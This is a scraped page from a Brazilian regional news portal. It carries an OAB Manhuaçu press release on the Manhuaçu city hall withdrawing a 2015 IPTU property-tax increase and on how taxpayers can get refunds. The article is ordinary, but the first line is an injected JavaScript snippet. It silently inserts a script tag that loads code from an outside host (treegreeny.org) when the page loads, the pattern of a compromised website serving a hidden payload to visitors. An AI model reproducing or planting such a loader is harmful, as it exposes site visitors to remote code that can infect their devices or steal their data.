;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Prefeitura recua no aumento de IPTU após manifestação da OAB Manhuaçu. - Portal Carangola

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Prefeitura recua no aumento de IPTU após manifestação da OAB Manhuaçu.

A Prefeitura de Manhuaçu recuou no aumento do IPTU 2015 após manifestação das comissões de direito público e de direito tributário da OAB Manhuaçu. A informação foi confirmada neste fim de semana em matéria publicada num periódico de grande circulação da região.
Na matéria veiculada neste domingo (12), o secretário de Fazenda de Manhuaçu, Cristovam Rocha, afirma que o contribuinte deve procurar a Prefeitura para solicitar o ressarcimento dos valores. Ele disse ainda que o contribuinte pode optar por creditar a diferença do IPTU 2015 no ano seguinte ou mesmo requerer a sua restituição imediata. Mesmo com as informações confirmadas, o presidente da comissão de direito tributário da OAB Manhuaçu, Marco Antônio Pereira Dutra não está satisfeito com as informações repassadas pelo Secretário de Fazenda.
“A Prefeitura deu essas informações, mas não é bem assim que deve ser feito, pelo menos ao nosso entender. O crédito deve ser lançado de ofício pela Prefeitura em favor do contribuinte lesado. Ao meu sentir, o contribuinte só deve procurar a administração se ele quiser o seu ressarcimento imediato”, explicou.
Ainda de acordo com Marco Antônio, a Prefeitura de Manhuaçu já deveria ter emitido nota oficial explicando toda a situação envolvendo a cobrança do IPTU no município. “O contribuinte precisa ficar sabendo de forma clara sobre o ocorrido, inclusive, sobre as providências que deve tomar a partir destes equívocos, que foram constatados pela OAB Manhuaçu e alertado por nós”, cobrou.
Outro ponto que deve ser esclarecido é que se o contribuinte optar em utilizar o crédito para quitar o IPTU no ano de 2016, esse valor deve ser corrigido com os mesmos parâmetros utilizados para o aumento do imposto. O crédito não pode ter o valor estagnado.
O presidente da comissão de direito tributário da Subseção, Marco Antônio Dutra reconhece que o valor cobrado sobre os imóveis de Manhuaçu é baixo em relação a outros municípios da região, mas os meios legais não foram observados pela administração pública. “A Câmara de Vereadores precisa discutir e analisar o aumento do IPTU, que deve ser executado através de projeto de lei. Somente a correção do ano anterior, que segue o valor da inflação, é que pode ser feito por decreto”, concluiu.

VITÓRIA DA SOCIEDADE
Para o presidente da 54ª Subseção da OAB Manhuaçu, Alex Barbosa de Matos, “a iniciativa de nossa entidade em discutir a legalidade do cálculo e cobrança do IPTU 2015 permitiu que a administração pública municipal reavaliasse os seus atos eivados de ilegalidade. Vitória da Sociedade! O que não podemos admitir é que a população de Manhuaçu seja prejudicada com cobranças indevidas. É necessário que o Secretário de Fazenda esclareça de forma clara, séria e objetiva os motivos pelos quais ele elevou a cobrança do IPTU em Manhuaçu, bem como indique os procedimentos que os cidadãos deverão adotar para que sejam ressarcidos dos valores que pagaram indevidamente”.
Segundo o secretário da comissão de direito público da OAB Manhuaçu, Layon Nicolas Dias Pereira, os direitos dos cidadãos foram assegurados nesse caso. “Mais uma vez a OAB Manhuaçu cumpriu com o seu papel social de defender os direitos e interesses da sociedade, em estrita observância à Constituição Federal, à ordem jurídica do Estado Democrático e à boa aplicação das leis”, concluiu.

Assessoria de Comunicação / OAB Manhuaçu

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